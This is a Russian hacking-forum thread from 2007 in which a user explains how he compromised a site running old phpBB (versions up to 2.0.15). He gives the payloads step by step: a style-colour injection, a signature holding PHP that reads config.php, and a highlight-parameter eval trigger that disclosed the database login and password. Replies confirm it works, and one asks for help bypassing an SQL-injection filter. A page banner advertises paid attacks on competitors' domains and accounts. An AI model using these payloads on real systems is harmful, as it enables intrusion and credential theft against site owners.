phpbb(highlight)

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
phpbb(highlight)

Опции темы

Поиск в этой теме

Опции просмотра

phpbb(highlight)

06.07.2007, 04:25

fly

Постоянный

Регистрация: 15.04.2007

Сообщений: 645

С нами: 10038327

Репутация: 251

phpbb(highlight)

Может кому пригодится .
Давно ломал сайт , там стоял старый phpbb . Через базу не смог проделать инклуд. И все остальные способы не помогли. И вот нарыл такой способ.

Идем Administration Panel --> Styles Admin --> Management --> subSilver --> Edit
Затем находим "Font Colour 3" и вместо 6цифр_цвета:

Код:

"'./*"

Далее идем в админский профайл или любой другой юзерский и в поле подписи Signature вставляем:

Код:

"$fd=fopen($phpbb_root_path.'config.php','rb');while(!feof($fd)){echo htmlspecialchars(fgets($fd));}"

Сохраняем!
После этого создаем в любом топике сообщение с текстом:

Код:

"*/var_dump(eval($user_sig)).flush().die().'"

Ну и всем известный способ --- допишем к топику &highlight=1 ---в моем случае я получил пасс и логин от базы.

𝕏 Twitter Reddit Telegram Копировать ссылку

Последний раз редактировалось fly; 06.07.2007 в 04:27..

06.07.2007, 10:55

NApoleonchik

Участник форума

Регистрация: 04.07.2007

Сообщений: 111

С нами: 9922725

Репутация: 102

Круто. Сам испробовал - работает!

16.07.2007, 23:49

_SploiT_

Участник форума

Регистрация: 09.05.2007

Сообщений: 120

С нами: 10003805

Репутация: 69

А версию точно не помнишь?

17.07.2007, 00:14

Basurman

Постоянный

Регистрация: 10.11.2006

Сообщений: 416

С нами: 10263386

Репутация: 849

<=2.0.15

10.08.2007, 17:29

che_ha

Новичок

Регистрация: 08.08.2007

Сообщений: 2

С нами: 9872326

Репутация: 0

Всем привет.
Я извиняюсь что не в тему , просто не хотел создавать лишний раз тему.
Нашел на phpBB MS SQL-injection.Могу провести несколько запросов где не исползуються знаки ( '," ) , всегда когда вставлю этот знак ,фильтр перед ним встявляет ( \ ),итоге Incorrect syntax near '\'.

Ничего не смог придумать , может вы знаете какие-нибудь решение ?
СПС.